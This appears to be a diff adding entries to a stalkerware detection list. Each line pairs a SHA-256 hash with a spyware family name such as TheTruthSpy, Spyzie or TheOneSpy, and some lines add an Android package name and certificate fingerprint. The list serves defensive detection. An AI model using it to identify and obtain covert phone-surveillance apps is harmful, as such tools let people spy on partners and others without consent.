+ff9dd3707cb58fdda6049a6678eef56cb47595616dda38b2c5b3c24c49b16147,com.spappm_mondow.alarm,DD40DE8DEF95C95F667FCC508BC5F18725192608,180,EasyPhoneTrack +008c67b7156648f4ef43a24d9cccfc6a47b89216ab266fa23e4384bc424b94fc,,,,Spyzie +042cb2188ee3948b336613b2c526d3e54437807909a45366b127e8baa9dbf976,,,,Spyzie +1271c5fed302d2dab3a74bcda70d8bcb4566b8c92639c08229f009103e0d3984,,,,Spyzie +1c7df1452ad261a0ca16320285169970d93cc3ff99aceaba4c57fff1a7e3153e,,,,Spyzie +27b925ca2e6f01815a66b01f63c7ac17175e9df205d7655336bd3eb7e89cfa10,,,,Spyzie +30bef83da4c61b26da43657b92ecda7f7901dc44514d41477a5994ccd565823a,,,,Spyzie +408799aa71be8ab451b675b15509689ca77895888cfc0b39956437359350f84a,,,,Spyzie +4504de667760eb5004a37c38b993ac5284d6ebff8d5b81ba81413a56f705496b,,,,Spyzie +58c6cb7eb7b0c280a72f72e3ef3a778e08a44471e194f5b21b7c56360ddb7555,,,,Spyzie +5aae4aa1dcf5d62eb31e8435e8f307d9310cbfc2b6410e59ae433c5782e9f86a,,,,Spyzie +6f3551e3c55f89add1c12384f7e434caa7610b34c4a0207f2efcbd86ea14eaf4,com.spyzee,F25D72FCCB84BAF7F73467FC9571024B7E274CA3,10,Spyzie +7092fce338cf4aa2d16d3f1e8a5d619da15f2be4702b53c71797ffca82afda70,,,,Spyzie +7b5b1406549c995a617c322a6d5863e59aaeb0749f9a9ee7018cb11abf3cfdc0,,,,Spyzie +a393c89393d78a01ad9fa7bce5eeeb74281d794bfa1caff00ebd2fbd1cc1c40c,,,,Spyzie +aa484e6bb7390781ab5fd707a3e3b18b7c6c3431bb6b209a95ae2443170d50dd,,,,Spyzie +b5643706ca9651fd45a57fb61aa982981bba374467294dca6d10159d137c6f24,,,,Spyzie +bfebe651c4254f1939de5941f659421fe47dec9f93900ea06d087348beca482f,,,,Spyzie +c9f55944213d777b829b2f1bd2c60052f3f4b60166e9f4e2af00921131483109,,,,Spyzie +d0161661923f6ec731fc9cfcf20ac7fcadab5904e6a943440c591908241609de,,,,Spyzie +e546aab3699d6e228142e5d86ece710bcb298e6c3d2440b831dc4fb695e7b045,,,,Spyzie +e99235fe8fa6da324fda5e6eb1816320ecf9ca68756703dd46d613fef2145435,,,,Spyzie +ed47a8032c4551004c26875716bac7f60f091c4049bcb1719bfe44475d8b2e00,,,,Spyzie +efd1ced7031ead2ee8ec6dbf8e7fdcb5bb36e3edf8294552fe954157c4dd2bf7,com.sc.spyzie.v2,C377ADFF5DF116AB7297D32850ADE8A8FC3F8FB9,91,TeenSafe +f1f617da385ecd97334c00d2dd1983c271c64a052183f4ef3b68be0652e6d835,,,,Spyzie +f4da7cfcec9d9e597e93ac647ef4093cfbaa203889a8922ec1e09d7921aaa6ce,,,,Spyzie +fc8a1e738d33844713c454473d9089d7f47cdeaa9bf8e0551f964092fb604b05,,,,Spyzie +06ca308a9b0a6fbbe20d59aa0bece1f5a7c71825e65da83e8069e4c16b82933e,,,,TalkLog +09d82667d9d72e8980e78c17898430d05a1419f2e432ee46fae1e40056df1801,,,,TalkLog +0d578a21430e6ef89019974813b797809375fa2297b35df08175167a2bad96aa,,,,TalkLog +34751c3eed1420a90320c73b98aa423cde110d873fff9f71fa05476f2abf365d,,,,TalkLog +83181f0799d197f96d1098fe33d769431ab88f2bb4454e3c4c19a0407e1fbac4,,,,TalkLog +955144eb270f4fc675ef26574e993481759a998c4ba1a578902620601d02ba47,,,,TalkLog +c7b4eae905d4c9a685c97ef0740a23f8228da77f4be0a708034a77cf5252b7f5,,,,TalkLog +01e36ccb585f44b70ec8bb6c25c721b47c6fb801570c65c3187d3ab21b397640,,,,TheOneSpy +1888ca6e593bff1fd3fc00f7a4a2c9a5c5a405bc5399666fc264d52d540c7c86,,,,TheOneSpy +2cc3bb5f510f39abb65925dabff7cca7580edf265af592f93f0e19f4ae343651,,,,TheOneSpy +6ef1465816dedc8aa073eb532ef10ec984263352e5e9899d74bb1ffb668bd402,,,,TheOneSpy +941b0c08acdcde91c3cc2da81c8149474150d49e629640d3a301af991a739333,,,,TheOneSpy +b23b0dbf6998492f5bc1f13568d04fc454b8f33c9dea979c00e234a5e19869ce,,,,TheOneSpy +b63fe1ecad9f894d7de2f11240989b882cc021647b27ef644d4798dd2d4a175b,,,,TheOneSpy +f628f3df8e15f7ccc35f5e72683a09eaf3cb48adc5f46f4323537b4302f09f42,,,,TheOneSpy +00b776ef565563d510b9eb428d7dddd52e8edf3bd3c38947a88cd9d7d637c874,,,,TheTruthSpy +01d9cb71acfa655cc910c98947bb194f2738618135868664def5c1e29594f6a4,,,,TheTruthSpy +04d505bd81905f606f65bdbb3abe26a88ac1b17ea687b564b9f9c6c71140115b,,,,TheTruthSpy +0526b3b2640685d3210003f1dd39f6275636fd608550ed31026cdfd86de2285e,,,,TheTruthSpy +05500b56a49dab3535cf5443a1040d8a73a96eada3d904df1b1faf2f95a89f7c,,,,TheTruthSpy +0570daaa9db24c98671baded7e1dd3d77398b645d6c53ff765b91a0c95de3e01,,,,TheTruthSpy +064605e408c01ce1552b73412c9b61a996cbb72f501714bef0747d28f2254d97,,,,TheTruthSpy +06634297f6060543d654923e61446a32b8e983613bba542fb98bf828eb34a579,,,,TheTruthSpy +06e4312edd54c0393a451dcfa1535289f49a2948dda9a687d01894abd794fc3b,,,,TheTruthSpy +06f211c6eb69d2a2a67232e4e04f7428aaa0f5a188b6d142d44b6bdf0286d906,,,,TheTruthSpy +0788826eee97e14f8d6a7e66c7f431ddfa26f391bbb91e038d914861cbf67362,,,,TheTruthSpy +09048b754ac13cd52b168ef8646762a351cd85e363f32935c5ab00dc27665819,,,,TheTruthSpy +0a8a3eebffc80190ac84557e842cde94c369b856abe5bf11221834ee96bd945e,,,,TheTruthSpy +0adeef7e841a90164e64476de3a10a895be5a1694228fdc4ebf9a9a4307a8e3b,,,,TheTruthSpy +0be371f3b8d403837e9ab11e4f7c5671db79b8306bc02bdc6f5c1a90c0846fb5,,,,TheTruthSpy +0c7cdb477a71b92243a2fbaff03b85eaaf0003d2b4ce93ebc4dd4a074e11fcf8,,,,TheTruthSpy +0d34e55862fb9f873422ecaf46e77146edf81fe8d18fb50e7f1ef4d84b472fc1,,,,TheTruthSpy +0e458b650af8904c898b07ceea688a81f1ad66fa447cc1ccfc4890c27ef898e6,,,,TheTruthSpy +0ec050ee12ad53b3a15c41c97f6a1728e1f1650249ce8049658ea33ca88ab9b8,,,,TheTruthSpy +0ede3f0c48d113e727baa5cde35b2a9ab93e98eebbc60b91e086e23c03c87c8b,,,,TheTruthSpy +0f0233c220be53c06ad6a57b74fcc09359efc3fc15f1ce15fa7bf83ec42d364e,,,,TheTruthSpy +0f054a0578c2af378347834e07df3a17c2f33bab44e42fa0e2232edda5a183ce,,,,TheTruthSpy +0f06ff5b7d0c17cb0ce7f5428d6cf5d170f0bb08cbbdf31413e12aaf1f8d4ea6,,,,TheTruthSpy +0f28f2b3798527e8bede0aefe8764ce642668cac992445ca3db936c89666b45c,,,,TheTruthSpy +0f3e424e85a5c5a8f4cdf1cc3462dd8d042fd080a1f0f66d12b0d7e8690ab0a7,,,,TheTruthSpy +0f8d2daf00a328692e488c91b1a67f9e9b1c4e144ed2aed59a98167877b314bb,,,,TheTruthSpy +103854397cd049f06d3c38aee9dd9c4611c459eebc45a1f974b26829ea1cb3e7,,,,TheTruthSpy +1160869b249cba8894268444588bd67e9a494723432bc85d30d20c07b406748d,,,,TheTruthSpy +11f56a7989ba68c6b99ecebe2d8230cbcd205ac3e61396f3dc9f3d92d0088b2d,,,,TheTruthSpy +12f34d14d25a3fe519621343588dbfd17cac7180b276e77aecfb46b4e2140eb8,,,,TheTruthSpy +138a985abd08524ec1d98181344f52725ff0ee3baaadec6ccef869933f93a74d,,,,TheTruthSpy +13bf4090f924bcf7d795735a61003d4e7325bb9deb9fd9e7011e260f0683eba2,,,,TheTruthSpy +145217272f98e3c97c48d44fad82bf3019eaa840b41b0767b12c41c01fa09890,,,,TheTruthSpy +14c01c9513ab79ae179098e74ecc2ee373230a167c1c9d2436652a8611b61ceb,,,,TheTruthSpy +159657f7a3bc53ef7617e67666f1e0b6394757fff9d86aa8026decce9786ae29,,,,TheTruthSpy +15eaf97dd6738aa25914fd8088bcdb11aaa0c62408544da452bf201dd53b11ba,,,,TheTruthSpy +174ba6a05ec0c3d59e94e1b88b43077e1340a4b92514162c2f9ab128c2ab963f,,,,TheTruthSpy +1819f93c6077a88660fc67bbe5c8c06ded25e066cc18f50881ed776c6c4b243f,,,,TheTruthSpy +18a5569e795b152ce3ad4a025877e85d2c1856660fc3a43baf4ba096066bbbb3,,,,TheTruthSpy +18fc525897872b2d222a72a33995ee75d8c5cfa6b48cadbea3c790184c9b6164,,,,TheTruthSpy +1926abf924d7903caf2ead771bd3a8f0205277f06f1370f015da50362f49f9f0,,,,TheTruthSpy +1a11d5f4fed5190d88513d4eb5354f2fe3f865530cec49e2c393f1eb8683983c,,,,TheTruthSpy +1a607b57949ecc77fc0a190e4e59ecaf3016cd08547cf4178d407b773433882a,,,,TheTruthSpy +1a651cb3c1bd2942dfd293cd9e25f5c9a67725c73753f50f18abd254f9c5c63b,,,,TheTruthSpy +1c16ad7195bd4374830b0217f6a7ee1162cbd56608ea91d445d40e15493c1167,,,,TheTruthSpy +1c1a21a7de0a68158b9c1933b3910d53bf0ef7fe7fc35538f769016d22d00062,,,,TheTruthSpy +1c214f3c137d3084baea868a788f4c8fe1e2d86d39675a99a3afd3eb4623b0e3,,,,TheTruthSpy +1c7f6d583fbf2136d167c4fb68473e4e7bcb372dca8f64143383a37f2d38a542,,,,TheTruthSpy +1ca0e9766d2095bb6a85782e8b6fa2030cceda20ca352f50e831aada39a75521,,,,TheTruthSpy +1e6281d60175b988e71a2f26c259cbbc51913caca6bedcba90eaf47ad8394883,,,,TheTruthSpy +1fc64d9b4477bec34136ecbfa330841304bb55ca20461e7d1e71f284c34bb4d1,,,,TheTruthSpy +201625b0ab47027bd2dcb27f88c5c0cf96e4bc32505083cb7036639c6a4a8b24,com.systemservice,FF8CCD9816B0524A58FBDE1809FB227DBCDFD692,5,TheTruthSpy +2126b6f172af725b7ff510cdc63d5147e6016bb0aa7980af00ffc87c1d07c908,,,,TheTruthSpy +2156664e23ecb5cd39a5a1d29ec786ff91ba863c525b9f031b44ab592a592d4b,,,,TheTruthSpy +217fe5b1c136d846a5141a9a8837c47372ffe0c12fb8c67a873cf632c831aa1a,,,,TheTruthSpy +223e545e6c755f16fe6084a32b1e853e7ab1236fe485ebe66aaebba040e5765e,,,,TheTruthSpy +224f03961205a2971982b16308cd1f89a7b5c38c5f76ca0315df3206f4b68280,,,,TheTruthSpy +22f81170787399bb92c3349e95c33a6c4e14463e84b77a813b2474bf4fbea1ce,,,,TheTruthSpy +23a1d9a6a748f159f96a285992cf99415c41aa89b5455bb08ec16ef8056ce36d,,,,TheTruthSpy +2461488faf5a7ee9feb2293e33a8d63b5ea029a106386dc98d0e3e43398fa541,,,,TheTruthSpy +24b67dd38394632b78ffe45985b96ceaa68769f9e4cbc9348cd434d91cbdf6fe,,,,TheTruthSpy +25eeebb1afa4e2e69d38c82cd7bd7e858f96660c5ac4f7de180ff3195b78b35d,,,,TheTruthSpy +26ff4b53cee88271e83627f5fab1bf8473c5c2631033b67cc0983cfaca37678b,,,,TheTruthSpy +274e086c5c34ad6f1d9eb2b5cb9dcb87d647e7a2c44e18d4529f85c5ebaaf5cd,,,,TheTruthSpy +27c36d4b59c1cfcf99eb565895b7a28ddc509a3025ab89f972a66b6fed2aad2a,,,,TheTruthSpy +27dc7afacaa3f229d9003790e1a49a669c5d59836ff075e6dbc33d28d069ac4c,,,,TheTruthSpy +28aaab6753b2da29e80caf23a667d92ee19157bf271da1efbc1d65381e428169,,,,TheTruthSpy +28e69ca9b92cda079828560d5b6094343dfbfb60556f7372b96ce339ac3cda71,,,,TheTruthSpy +29297bcb4245b25b6816a39e4dd28c7bf56377ea9fa4f189f285b774c82f45d6,,,,TheTruthSpy +29f2e9b3331a31299ed9d06d45a579d5366e0227cfb0f1e053f61f7e590ae335,,,,TheTruthSpy +2abe977cf1d77ebecb4d7525c0365dae9a937fa40a31dbde4962411406eb2a2e,,,,TheTruthSpy +2b68a872aba9473dea818d371e5fdaf188e99a03066282b9b395e4902c7a7cc2,,,,TheTruthSpy +2b6f6b332f06922acdff5fa68b9b0a86fe659a6b8e38e5427b90ff4bce516322,,,,TheTruthSpy +2bce478bea2fcbd3b62d177d1e3b081425eb1fbf7e5abd1d14a5058a0c85aeff,,,,TheTruthSpy +2c59cdf11196bfc860cbd6da9ceec71c94c83d9af227922854ff4233022a37e8,,,,TheTruthSpy +2d9a784f63c5b9e05597ca9b9804185f39cf6abb6506935f364d7ccbf63068d5,,,,TheTruthSpy +2d9aef770817ba359d60e8d73f95bea257c184f8d5e380161afda02304db25dc,,,,TheTruthSpy +2e45a09ee59120878fba5329b21b327eaecdf28211fb147ca00a9bf6dec79ad1,,,,TheTruthSpy +2f6c253a1da86914924785550ce67151339967d4b58ee2b388c3dce002a0f58e,,,,TheTruthSpy +3000bff31d917fecef13878f29f4ac56d8fc7e8ef8b16c8d5bd9e96f1af7c114,,,,TheTruthSpy +3151b5918698e1c24f13b8a15a2355e398718049be0e26e2d5f7ba3cfff2109e,,,,TheTruthSpy +31fa0c554373b15e485f63482121c7a7676eb58b79d0aa4710d9b1584af97d91,,,,TheTruthSpy +31ffef84cca698fc0fef5497c4abbe030e17427144864971f8a9f637f9800573,,,,TheTruthSpy +3218f9b8c8324539526a7a3dc17a104ef3f61896513980aad6d760151d98b788,,,,TheTruthSpy +32838fe1604a25a4fbcb62954c976b84c68694d73020994de034550641743f13,,,,TheTruthSpy +336ad026ec37fe12db2fd1709a7a9244573445235891440acafe5b2a259909df,,,,TheTruthSpy +33a04fc3ebcc75961d82661318e42af5ef41a74f4cddc9b52ada07e6efe58668,,,,TheTruthSpy +34249b289aed6366633e3f91a36e39b90a43dd999f0f0a4fc0e98e63662cd60c,,,,TheTruthSpy +3431bbb0a073c4529a869d0453d8284e3d684cf7e16cad947fac90dcf2513023,,,,TheTruthSpy +37bf018a269a42d994f43d40376b2bb431edf39fd86397b78a411c4513b5d27f,,,,TheTruthSpy +384aa1291d7d08fe264b6abfa38bd736e53211ef45ac080edb2884e964e76505,,,,TheTruthSpy +38cdde1c18ed0afe6ee2a54d119e258af88489efed57acd27b1ddc591d5d1ffa,,,,TheTruthSpy +39283b786c20fdab98188039031cc732615aeb71be06f3530f2f219b1d393ac3,,,,TheTruthSpy +39b3f318bd34e84452f22440dcab64238739829b9d44734d1ce3157ecab35014,,,,TheTruthSpy +3a041f99656709f659a0439dc632fa55913f4ff874992db8f990a7215844e97a,,,,TheTruthSpy +3a8df497302602515f23edd51ee23de5fd86810e91797e8e796f05b39aef7597,,,,TheTruthSpy +3b64eb769554584940fdfda2c762e02878f6cf6ab1554936c5f330446abe4b76,,,,TheTruthSpy +3b8a7fcd8c68111efa1df0cf350fba4e0a21f4cc2fbde52e30e6b12951b8f81f,,,,TheTruthSpy +3b99d650506eee927cc4ba14ed2a0892b2fdae27dc940c751e4dec47cdcf3a41,,,,TheTruthSpy +3ba2e5a3c21d32b40abe213e36eef9f1e3254c7393c5680736e6f848f0ec5289,,,,TheTruthSpy +3bb77f13d13c9000c9139d545dfb15820ce361ec5d98d4e50f8d2b013c931bc4,,,,TheTruthSpy +3d2cc5342f65d13d66f179bad47356fe6de3cce08b92f97a52d5f36b7fdcf4b3,,,,TheTruthSpy +3d2d63e0579f26f54ea25232791706094e219e1034074aecbae89e441bf0fab9,,,,TheTruthSpy +3d74d40e9211ce376974e69f5be220c057be52170e1d568ea968fcc9438a6d38,,,,TheTruthSpy +3d9563d4230764a27ca3f440de688333e8b744c69381729e7cffea1e182e20aa,,,,TheTruthSpy +3f693cdcdb32721cdd0487c90d7d6cb7b80f3f2abf69524238774bb3b93cf319,,,,TheTruthSpy +404cab9bdec390531240bf8b661c1d71e7e6d252b6f9343cff124197152787db,,,,TheTruthSpy +419cb0e1201948ac271fa8fbac2941cf9e151bed304282e8099e6c4d078a3b80,,,,TheTruthSpy +42554cc7d6a4887124366d6f9cc5e6530814d267d94413e8695bf9445af836e7,,,,TheTruthSpy +43071339975ea2e470c643e6ff22044ec516ba84371ec0d233a6314e7dd653b7,,,,TheTruthSpy +44b0b4bd26973348dbab8d4d7d9fc3116576e76d6bb3cb09c1362263ba94c890,,,,TheTruthSpy +452a7c12bf550daae38c836b769dc252778b3bb9a1a66bc46a9af2bfed910b24,,,,TheTruthSpy +478eb67281278595a36bd755398a2211017ed0f1220248efd2867ac3558f9918,,,,TheTruthSpy +48f50083d3ceb26776bc8b8196b5ca0b174ba090a7800ff1501332363a5d7a12,,,,TheTruthSpy +4a0b6bf75020a2b10334d1e754a3e13cb4099772ab0ebdf8f358f72b13087ec1,,,,TheTruthSpy +4a8c1ced3e5b39f37804b16cc003ae8c3c6e460c14621f62864194699ffdb5a9,,,,TheTruthSpy +4ac14b87f2927f587e04fcd8c2470fccbdb6f9145deb161972472533748723ea,,,,TheTruthSpy +4d12579ac49a2d46028e36ecda6fc577ba3c5b37c0e9ae2b73d1853206d99e6d,,,,TheTruthSpy +4d5d88eb08afdb3f16d5b45ea6eef71ceb2bc7ccee2ca0cf419256d3f01ee3f0,,,,TheTruthSpy +4e3e27372d68c4a3de42843ec98619a2e4d42b92d3ba35f76a1efe8f698e27ad,,,,TheTruthSpy +4f9859e63c70b637ea5000a2095e6c9d3d929b0e59f0ffabb063444bf4e7de82,,,,TheTruthSpy +4f998294f5b5935b399d498124e117f2443384ec3214f7d262c4985d9665aa2a,,,,TheTruthSpy +4fe24371a5ffefc073b010fd138ca0e1804a09b53d1373266db292ba56ab026b,,,,TheTruthSpy +4fed5f1dff6139f2c7201039e676df0b9441e044e5f51dbd76733d529a24c27b,,,,TheTruthSpy +51b8a4e1f9d0e89ca2aed1f5b204c3747133ab78d687ac2c7f123d9c8af44d97,,,,TheTruthSpy +52f3e09a1fac75a1c2ca1c667367b9a80bfec3dc8c0c395fa129935196e929c6,,,,TheTruthSpy +543bd05ea4d3714d22fa7aaf5d6f9977d145cf1819b22c31c05e0e2b044b96d2,,,,TheTruthSpy +54f22aa019b4b3ca72dbc26feb3c5fba4f7fd042b5e4c37da051e0e3bec269df,,,,TheTruthSpy +56fbd8225f06b01cf060488b7033960e4e37ea48ff7b9ee9b0e01d4766102f47,,,,TheTruthSpy +58a5bbbea9a86c54742f12febd62fe25d575d21b111355d9ce0b05beed4271d5,,,,TheTruthSpy +5a30b15ca27baa6d55992028333f57f998c81660ff3abe98abefe8398b55b233,,,,TheTruthSpy +5b43fbfc590bc460eeb03c31333e0a27325379126330eb1e655de73d40018811,,,,TheTruthSpy +5d558f5a4056acb16095adbcb0c9de9dfa450dc2b992298bd52ea8d35d22a397,,,,TheTruthSpy +5d6daac87a78fb0f4ef2a3b4c6d73a09b4ce62944527e5eb8a4d12bc9b7f5d11,,,,TheTruthSpy +5e07b9d72556de869075ad4f8d53db8df3ff643b67aaf7ae116cdcf99c04ea81,,,,TheTruthSpy +5e60bed3b67c92053b5e5f3658316825221891c077b99f63ab807235ee5a8811,,,,TheTruthSpy +5f5e4e1958553ccd1a3368ae8a221c871cea29c05cf7ec15034c8ffa846e84e6,,,,TheTruthSpy +6041979a0ffcb022d2ee9c59bc3609a4f46a7b20bb15e6e148f8b727ad867d4e,,,,TheTruthSpy +60d3e0dce72494e7ea645abcbce6b689d7e7f159e119380ccb97c8765d3fe420,,,,TheTruthSpy +616283cad705f9337ba35b2a19d5f18f9d78e23dd0802c33c185d95027854561,,,,TheTruthSpy +62020cab3c7249c75fe111922eacb7719fa88687abf4651aa57eb1d82d80bc06,,,,TheTruthSpy +620525c4d845f6962177b35c8fa64349f4a4e7f97969cf48983a446ffee98fcf,,,,TheTruthSpy +62b59e1c1c2bcdbd2e6538b37cb55c42c7573885008aacc97ecc9745e93c3c9e,,,,TheTruthSpy +6367f22775bccdb2f625318104050a2aa069e4840268c0d7b515db324a5e14be,,,,TheTruthSpy +639b381f6f39a37363bd6ccae7b301957fe3f19b270b029f28bac4396d3c7f7a,,,,TheTruthSpy +63f428a8291d2f3a821a8358a8139bd06d219590e5e2baf31d78b83be7476c8c,,,,TheTruthSpy +653d4cdfc8679fd00c6b35666f72393c0b32aa458f707b13276086619b587a67,,,,TheTruthSpy +675f4412c360e47220d02dd74646058122f8b3a5b3631251e9f09447a4fc8373,,,,TheTruthSpy +68def8d1aed44c7003b547fe26f1e87602bdc033f25cd6a98ce05e2f14218c13,,,,TheTruthSpy +697d45bec0f1fb1608f484fb95e59c8cecb1d6a1d86824e2a4860ef8dc3f28e7,,,,TheTruthSpy +699ce42b7abd530c3bda8340a5f5d657f579e303b35d03affabd71eafab5b1d3,,,,TheTruthSpy +6a2a06b7ae10ab12e2ab7c6e33a77fe589c181f71940a54beacb468cb5be3fde,,,,TheTruthSpy +6a6ae6d7f02fdaa96063f714aaba213f43509bde486c21198258e27d13da4dad,,,,TheTruthSpy +6ac2c39753fcf0ac39e90920c92f29e32d8c0cfdfeb8e0d6d7adf9bfb7581bdb,,,,TheTruthSpy +6c6b33d9c91ac6e6f3dc91254f33cb6dbed1356f5e477c5f0a69c5e43c168ca0,,,,TheTruthSpy +6d19159d1d34cd01a248d5f74f11d30641b7e5ccf6aae49e88be0695276b0ba8,,,,TheTruthSpy +6dbe5e7bf359d503c03bda35bfd5ed139e51ef92444235d4cfbfb2f60579c755,,,,TheTruthSpy +6f815c969f0fb27bbe77453245d0f4a7bcae246222c03ea838f1cc6525dec97c,,,,TheTruthSpy +70cdfa7cd38c4feeb36f8c726e2a47a85c718629bfcd683224e4afef577b4427,,,,TheTruthSpy +71a09a046782c388255631305585a5f1a94ece68fb5ff1d9114928342fcd4df8,,,,TheTruthSpy +71de91b97fbb475d0a22e44bd2ccd3833f26c5690e1ca5c5cd41c512ba237f01,,,,TheTruthSpy +724faff6eb37b8fa5427ce708ade5052c85a034f709a942134c7d716a8b9507a,,,,TheTruthSpy +75251236c63561fc188aba70e59fe9cf0456308df52838b203e9acefa9e87479,,,,TheTruthSpy +753a87623aed19819a702657e2eba9304f93e126e425168dbf3e142a148f9090,,,,TheTruthSpy +764beec56787acf2aa462edfea6c56782f4e278cd641d22e89996349cc502103,,,,TheTruthSpy +777c920743b86dcc87953a1b963e0b792a05436cd17b3e0ff6e7d94b5cbf9a01,,,,TheTruthSpy +7920cf2def13649007ea976cd0d5f0138c64d478343f0fcbbe677b953e7bfab6,,,,TheTruthSpy +79f3c38ba7a738fddbfc553c7161abf7a13b880cc4eb32e88320477a20fe7d70,,,,TheTruthSpy +7ac5f31eb8a0cbf4363548f6b87c9346a33c17189fb55cbb7b19b60181ef298e,,,,TheTruthSpy +7b115d7b29c53bd196c786cf84d56e346e0436c825d9daef8023c25b53c3eca3,,,,TheTruthSpy +7bff36343808e864d693b094d1d671f39812b3b542501825b4f0d292d5f98b0f,,,,TheTruthSpy +7cf403bcb58208bae0caa437ee7775579e1ba3c1859b63ee9f7bbcb72edbc677,,,,TheTruthSpy +7eae64715959efaf5d1b8766803b73c71dee9a9f66bd3bf0bf4c8a01644a2c04,,,,TheTruthSpy +805bb5a2b3e0aa393ebb50a87bad68ca8216d21c1d22817f1c53b9fd567feac2,,,,TheTruthSpy +80a5e973dd6793f60ea8026ca6c8ccc1a227a56bfb540943bc61774feda37fe3,,,,TheTruthSpy +8133ff9615b4f1821cb360be965d676ed1b916ea4d8d4f2dd334075ca65efc00,,,,TheTruthSpy +81a3e983d158b0b4622786be154716e19dc4137f017e4c2177edf59b572babde,,,,TheTruthSpy +81b145188bfb4b45c1127a4b3168e1d71cb3382318b671ca6247263bc9311e2f,,,,TheTruthSpy +81db1cb7204c77e48122e909b4d94ab1f099f858d88973def2a8be4fe7935673,,,,TheTruthSpy +824f8bc12ce6f4c316bacfb419f12fbd7f4d56325e801ab238132e9e014d5dd6,,,,TheTruthSpy +82ebe4a0a595d9bcaa32cd32de5757f85b8347a42cecd8bee8792e60f0416f8a,,,,TheTruthSpy +8344b1b5a4f2493b6d048e3d96284cab3e277761e3b24e479d4980cc33022d46,,,,TheTruthSpy +83f23a3cb934d8c3492bf81af36853983db5a80d0a105650ee2a87455f06b959,,,,TheTruthSpy +8558418fef61447aea6aa68fa917dec5813dac051ca882f8b68423dff4e2bc42,,,,TheTruthSpy +85cdb85ffec0fa8d05aef6421e38f245570dead161e37c90f3bc9ee46d98a625,,,,TheTruthSpy +867be4489b9132523406c75471d9db006f2233c2b0830f989759212b0d565098,,,,TheTruthSpy +878bc1f24e4d3026a1421c746aca699764967bd020fd62ef1c93515d0028642a,,,,TheTruthSpy +87a1fd64100929bd36e355e09cf5e9de57d7080ddc498541cce64f3323141b84,,,,TheTruthSpy +88330769127ef9f023f4ffc17c12fb5e28557dfaaa65d5d159d31e161ce7a787,,,,TheTruthSpy +8a67b576ad92e821134e4fcf8050778cb6e087d68e1d7ca79146640200e51d2f,,,,TheTruthSpy +8af178e84d401ce19794811677f73b2ccb01abdcde376efb4f1efcdcbbd76540,,,,TheTruthSpy +8ba0ccce0415ae30d28ac758d41cb2ff64326c0ca9b1d3bb0b13dafeb4ae5d82,,,,TheTruthSpy +8cfa8df61c08325b2e1e6efe652b69ccea19218972245787ea51ce1b1581d120,,,,TheTruthSpy +8d417e100bf3613ee7bb2ca84e30214dcb4d93cf6c7d6fbcf9e7a73f8f9afb54,,,,TheTruthSpy +8d7c8fa85c299051edfa59e1a9bb02cb3e6210d1fea9f1509999614986b18fe8,,,,TheTruthSpy +8e061d10fe7767f44210c8d26f49a5d26f15d366f026db762277ca11430c904f,,,,TheTruthSpy +8f062bd7d159f1d9f692b1205b48b59f5cc3ec844e1167af0dcace13236a05b0,,,,TheTruthSpy +8fdcd969c4fcb6fe3607b557a7294882cb61da3464cf980165da75c853a8168e,,,,TheTruthSpy +8fe9e26c656ae558b31a9428b525db20f1b144f5bcdeaaa6ab9d01151feeddb4,,,,TheTruthSpy +8fefbf54d11ba3aa741273712ba9117fc84164d05be124307f0042c9528e100a,,,,TheTruthSpy +91225a5b66c878d5b706445d344c3d67093a30e99045afdb60b9ef3603dda4fa,,,,TheTruthSpy +91a0ad6be78ecc663f73d7cba7c3235aea32fba8a376412bda88e37f6b468c27,,,,TheTruthSpy +942b57b04c8a2f0385162aaafc7890eaeeb6a8667e03820707cf1e0c1633989d,,,,TheTruthSpy +95e11b06dc47fb0994a05727d029fb35837cf5e4bf29dd4a2e619ce2efe3d92b,,,,TheTruthSpy +97dfdfb46328ae1a73dead8e4771b2ffc67cb844d95a1e6f0cbe308b41790c3b,,,,TheTruthSpy +99335aa19f2e606eaa52b10600c0ae452d601aa3e87656f779718d436f2c526f,,,,TheTruthSpy +994eec95771c8e2380f16516531eaeeeef3ab439c8d1f5f7751850d1d296e28a,,,,TheTruthSpy +99c231e24f06f3d8517dcc3bca2d91ec92caaf2d155a52e20b4110b6f0022408,,,,TheTruthSpy +9a84d2fa5fc444434a4145a4e7969f0d900311b6af2bcc6bf6b2b2878dd63194,,,,TheTruthSpy +9b1bbfac6972bdc1a915154f798945d818d0b3720586eb015522ae49b1c393d6,,,,TheTruthSpy +9c26855167ec5089bc21eb6ec582706bfd822ebecb9d423141740cd15ae64f83,,,,TheTruthSpy +9c61f296599a18826bdcb2c205fe1b8c6ce0a14a20d590e84fad12476adb851a,,,,TheTruthSpy +9cba8bbe440ea785e03973f4e77238a734b70b103f81147651d4945f10943262,,,,TheTruthSpy +9d29120c16a06839083c71eddb479836740e3eb57b7cce675acdd363c16309c3,,,,TheTruthSpy +9e1820f3db9c3d2b457e8bcd3ab2e5ac4e633f90e80a48987d4096003a15489e,,,,TheTruthSpy +9ef88e0bbee52352cf95c33c18f7a945ca13e6a61ac72c517e60b0898833fda1,,,,TheTruthSpy +9f7499cfb98f4275fd88d3734602988742ff08be674ec60e79457c443b075f92,,,,TheTruthSpy +9fe4ca74944e8f1375c8234a90dd1e7b0dd25b67b699983992eb80bceb9f7eab,,,,TheTruthSpy +a0341861cd8ab51567c5bc19e1e8bbdc35e2e02927b5ae1db1d2f5bae8784d0b,,,,TheTruthSpy +a11d3f2dbfdd6bc19fc14a786c573bd15c28d7c91498fae2c8343204875b45ad,,,,TheTruthSpy +a12e74f9a737f630671d8e9501c2dcb1aaba451a3a516182bf5ea485e866a406,,,,TheTruthSpy +a1347d735453d810dbe3218aff637b817aee17667f7dfb309987d130231fca77,,,,TheTruthSpy +a1ae0bcdda40444aba873715569b0f5fa4b6d7c95b16ed5bfefe058fe8f441fc,,,,TheTruthSpy +a33c25a56b1853e0eecc9ba44c5c4e082253d064a665e37c894d4521291f0465,,,,TheTruthSpy +a4255d25301c3cbe952f623b653541e79456cb46cd9abac26ce5ed2bd81758cc,,,,TheTruthSpy +a71b8cf1f70f1433e09ce34058ffdd9b6d21b5565d6e31bb1c64905e33af9a99,,,,TheTruthSpy +a7904cc78d5d6c1edd90309b1e2439165179489abbc28a33138be09072908a13,,,,TheTruthSpy +a7adacd626fed8a0498106978d8146206636dabc5fefa5120eb0af1f8e825246,,,,TheTruthSpy +a7f1778ccb8f4640b7c511b2c065b3a610713ebad410385714ac7a6ebaff5e5f,,,,TheTruthSpy +a847a6b31d6ce38ea911a7975897cf0b24d7532f38de4acad566ddca34d17fe2,,,,TheTruthSpy +a9103be9e4e0c016fbf7541a8056903d1e485cb6633003ed4b9afe201930b521,,,,TheTruthSpy 